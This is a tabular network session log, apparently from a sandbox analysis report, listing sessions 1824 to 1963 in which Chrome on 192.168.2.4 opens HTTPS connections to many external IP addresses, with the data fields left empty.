1824	192.168.2.4	51978	121.127.42.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.4	51994	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.4	51979	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.4	52010	172.98.26.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.4	52012	52.6.5.199	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.4	51991	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.4	51988	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.4	52006	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.4	51983	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.4	52021	54.86.0.235	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.4	51980	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.4	51985	34.198.123.133	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.4	51984	35.173.149.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.4	51990	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.4	52018	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.4	52017	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.4	52026	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.4	52022	54.86.0.235	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.4	52028	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.4	51986	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.4	52003	151.101.129.16	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.4	52004	172.98.26.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.4	51987	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.4	51993	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.4	51982	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.4	52025	52.3.29.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.4	51992	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.4	52011	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.4	52029	142.251.167.149	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.4	52023	34.195.133.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.4	51997	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.4	52019	138.197.58.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.4	52035	8.2.108.106	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.4	52001	35.168.164.141	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.4	52038	34.235.76.40	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.4	52040	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.4	52024	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.4	52016	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.4	52046	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.4	52050	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.4	52041	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.4	52030	13.32.208.44	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.4	52032	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.4	52031	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.4	52052	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.4	52036	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.4	52039	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.4	52051	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.4	52060	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.4	52000	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.4	52042	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.4	52047	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.4	52054	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.4	52034	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.4	52055	54.204.238.69	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.4	52057	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.4	52059	35.175.74.15	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.4	52053	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.4	52043	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.4	52069	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.4	52072	3.219.162.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.4	52064	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.4	52056	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.4	52063	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.4	52081	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.4	52068	35.170.221.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.4	52070	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.4	52062	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.4	52058	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.4	52073	50.16.197.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.4	52074	172.240.155.68	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.4	52075	44.210.155.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.4	52061	34.202.88.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.4	52067	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.4	52077	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.4	52071	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.4	52076	104.244.42.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.4	52078	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.4	52083	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.4	52080	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.4	52082	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.4	52079	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.4	52084	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.4	52066	54.189.85.178	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.4	52087	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.4	52093	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.4	52102	18.160.18.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.4	52096	52.85.151.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.4	52085	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.4	52091	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.4	52090	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.4	52108	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.4	52099	47.253.61.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.4	52111	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.4	52106	3.219.162.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.4	52013	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.4	52088	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.4	52110	68.67.179.164	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.4	52112	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.4	52104	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1924	192.168.2.4	52105	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1925	192.168.2.4	52116	18.160.46.100	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1926	192.168.2.4	52097	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1927	192.168.2.4	52089	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1928	192.168.2.4	52115	34.194.241.212	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1929	192.168.2.4	52103	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1930	192.168.2.4	52100	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1931	192.168.2.4	52098	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1932	192.168.2.4	52101	8.2.110.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1933	192.168.2.4	52113	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1934	192.168.2.4	52094	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1935	192.168.2.4	52092	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1936	192.168.2.4	52119	23.21.22.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1937	192.168.2.4	52109	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1938	192.168.2.4	52117	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1939	192.168.2.4	52118	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1940	192.168.2.4	52126	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1941	192.168.2.4	52120	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1942	192.168.2.4	52130	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1943	192.168.2.4	52121	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1944	192.168.2.4	52124	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1945	192.168.2.4	52138	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1946	192.168.2.4	52127	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1947	192.168.2.4	52122	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1948	192.168.2.4	52131	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1949	192.168.2.4	52123	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1950	192.168.2.4	52139	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1951	192.168.2.4	52136	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1952	192.168.2.4	52133	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1953	192.168.2.4	52137	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1954	192.168.2.4	52140	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1955	192.168.2.4	52135	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1956	192.168.2.4	52158	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1957	192.168.2.4	52125	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1958	192.168.2.4	52129	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1959	192.168.2.4	52145	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1960	192.168.2.4	52150	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1961	192.168.2.4	52162	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1962	192.168.2.4	52134	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1963	192.168.2.4	52151	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
